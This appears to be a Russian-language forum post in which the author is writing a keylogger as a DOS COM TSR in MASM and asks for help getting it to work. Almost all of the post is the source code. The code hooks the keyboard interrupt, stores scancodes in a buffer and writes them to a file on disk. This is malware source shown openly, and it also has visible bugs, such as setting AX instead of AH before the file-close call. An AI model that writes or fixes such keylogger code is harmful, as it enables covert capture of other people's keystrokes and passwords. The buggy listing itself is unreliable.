пишу клавиатурного шпиона с перехватом прерываний (masm, com приложение)
помогите пожалуйста разобраться почему не работает
Код: Выделить всё
.model tiny
.186
.code
org 2Ch
envseg dw ?
org 100h
Begin:
jmp Install
Old09h DD ?
Old28h DD ?
EnWrFile DB 0
EnWrBuf DB 1
FName DB "c:\myfile.bin",0
Max=5
Count DW 0
Buf DB 100h DUP (?)
Handle dw ?
New09h:
push ds
push cs
pop ds
cmp EnWrBuf, 0
jz OutOfHandler09h
pusha
pushf
in al, 60h
mov bx, Count
mov Buf[bx], al
inc Count
cmp bx, Max
jnz BufNotFull
mov EnWrBuf, 0
mov EnWrFile, 1
popf
popa
mov ah, 28h
int 21h
jmp OutOfHandler09h
BufNotFull:
popf
popa
OutOfHandler09h:
pop ds
jmp DWORD PTR cs:Old09h
New28h:
push ds
push cs
pop ds
pushf
call DWORD PTR Old28h
cmp EnWrFile, 0
jz OutOfHandler28h
pusha
pushf
mov ah, 3ch
mov cx, 2
mov dx, OFFSET FName
int 21h
mov bx, ax
mov ah, 40h
mov cx, 100h
mov dx, OFFSET Buf
int 21h
mov ax, 3eh
int 21h
EndWr:
mov EnWrFile, 0
mov EnWrBuf, 1
popf
popa
OutOfHandler28h:
pop ds
mov al, 20h
out 20h, al
iret
Install:
mov ax, 3509h
int 21h
mov WORD PTR Old09h, bx
mov WORD PTR Old09h+2, es
mov ax, 2509h
mov dx, OFFSET New09h
int 21h
mov ax, 3528h
int 21h
mov WORD PTR Old28h, bx
mov WORD PTR Old28h+2, es
mov ax, 2528h
mov dx, OFFSET New28h
int 21h
mov ah, 49h
mov es, word ptr envseg
int 21h
mov dx, offset install
int 27h
END Begin